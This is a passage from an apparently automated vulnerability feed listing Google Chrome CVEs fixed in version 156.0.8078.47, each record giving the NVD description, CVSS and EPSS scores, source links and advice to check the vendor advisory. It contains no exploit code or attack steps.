FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113208&date=2026-10-25
Use after free in ContextualSearch in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113213
Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113213).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113213&date=2026-10-25).
Sources:
NVD CVE-2026-113213: https://nvd.nist.gov/vuln/detail/CVE-2026-113213
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113213&date=2026-10-25
Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in FullScreen in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...
https://kevwire.com/record/CVE-2026-113214
Improper input validation in FullScreen in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted... (Oct 20, 2026).
Improper input validation in FullScreen in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113214).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113214&date=2026-10-25).
Sources:
NVD CVE-2026-113214: https://nvd.nist.gov/vuln/detail/CVE-2026-113214
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113214&date=2026-10-25
Improper input validation in FullScreen in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113215
Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113215).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113215&date=2026-10-25).
Sources:
NVD CVE-2026-113215: https://nvd.nist.gov/vuln/detail/CVE-2026-113215
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113215&date=2026-10-25
Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Navigation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113216
Use after free in Navigation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Navigation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113216).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113216&date=2026-10-25).
Sources:
NVD CVE-2026-113216: https://nvd.nist.gov/vuln/detail/CVE-2026-113216
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113216&date=2026-10-25
Use after free in Navigation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in DataTransfer in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113218
Use after free in DataTransfer in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in DataTransfer in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113218).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113218&date=2026-10-25).
Sources:
NVD CVE-2026-113218: https://nvd.nist.gov/vuln/detail/CVE-2026-113218
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113218&date=2026-10-25
Use after free in DataTransfer in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Contacts in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113219
Memory corruption in Contacts in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Contacts in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113219).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113219&date=2026-10-25).
Sources:
NVD CVE-2026-113219: https://nvd.nist.gov/vuln/detail/CVE-2026-113219
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113219&date=2026-10-25
Memory corruption in Contacts in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Google Lens in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113221
Use after free in Google Lens in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Google Lens in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113221).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113221&date=2026-10-25).
Sources:
NVD CVE-2026-113221: https://nvd.nist.gov/vuln/detail/CVE-2026-113221
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113221&date=2026-10-25
Use after free in Google Lens in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Model in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113226
Memory corruption in Model in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Model in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113226).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113226&date=2026-10-25).
Sources:
NVD CVE-2026-113226: https://nvd.nist.gov/vuln/detail/CVE-2026-113226
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113226&date=2026-10-25
Memory corruption in Model in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Editing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113227
Use after free in Editing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Editing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113227).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113227&date=2026-10-25).
Sources:
NVD CVE-2026-113227: https://nvd.nist.gov/vuln/detail/CVE-2026-113227
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113227&date=2026-10-25
Use after free in Editing in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Network in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113228
Use after free in Network in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Network in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113228).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113228&date=2026-10-25).
Sources:
NVD CVE-2026-113228: https://nvd.nist.gov/vuln/detail/CVE-2026-113228
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113228&date=2026-10-25
Use after free in Network in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Loader in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113229
Use after free in Loader in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Loader in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113229).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113229&date=2026-10-25).
Sources:
NVD CVE-2026-113229: https://nvd.nist.gov/vuln/detail/CVE-2026-113229
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113229&date=2026-10-25
Use after free in Loader in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in Browser in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...
https://kevwire.com/record/CVE-2026-113230
Improper input validation in Browser in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML... (Oct 20, 2026).
Improper input validation in Browser in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113230).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113230&date=2026-10-25).
Sources:
NVD CVE-2026-113230: https://nvd.nist.gov/vuln/detail/CVE-2026-113230
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113230&date=2026-10-25
Improper input validation in Browser in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper input validation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...
https://kevwire.com/record/CVE-2026-113231
Improper input validation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted... (Oct 20, 2026).
Improper input validation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113231).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113231&date=2026-10-25).
Sources:
NVD CVE-2026-113231: https://nvd.nist.gov/vuln/detail/CVE-2026-113231
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113231&date=2026-10-25
Improper input validation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Search in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113232
Memory corruption in Search in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Search in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113232).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113232&date=2026-10-25).
Sources:
NVD CVE-2026-113232: https://nvd.nist.gov/vuln/detail/CVE-2026-113232
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113232&date=2026-10-25
Memory corruption in Search in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out of bounds read in Core in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...
https://kevwire.com/record/CVE-2026-113233
Out of bounds read in Core in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted... (Oct 20, 2026).
Out of bounds read in Core in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113233).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113233&date=2026-10-25).
Sources:
NVD CVE-2026-113233: https://nvd.nist.gov/vuln/detail/CVE-2026-113233
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113233&date=2026-10-25
Out of bounds read in Core in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113234
Memory corruption in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113234).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113234&date=2026-10-25).
Sources:
NVD CVE-2026-113234: https://nvd.nist.gov/vuln/detail/CVE-2026-113234
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113234&date=2026-10-25
Memory corruption in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Navigation in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113236
Use after free in Navigation in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Navigation in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113236).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113236&date=2026-10-25).
Sources:
NVD CVE-2026-113236: https://nvd.nist.gov/vuln/detail/CVE-2026-113236
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113236&date=2026-10-25
Use after free in Navigation in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in CustomTabs in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a...
https://kevwire.com/record/CVE-2026-113238
Memory corruption in CustomTabs in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a... (Oct 20, 2026).
Memory corruption in CustomTabs in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113238).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113238&date=2026-10-25).
Sources:
NVD CVE-2026-113238: https://nvd.nist.gov/vuln/detail/CVE-2026-113238
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113238&date=2026-10-25
Memory corruption in CustomTabs in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Range error in SiteIsolation in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113239
Range error in SiteIsolation in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Range error in SiteIsolation in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113239).
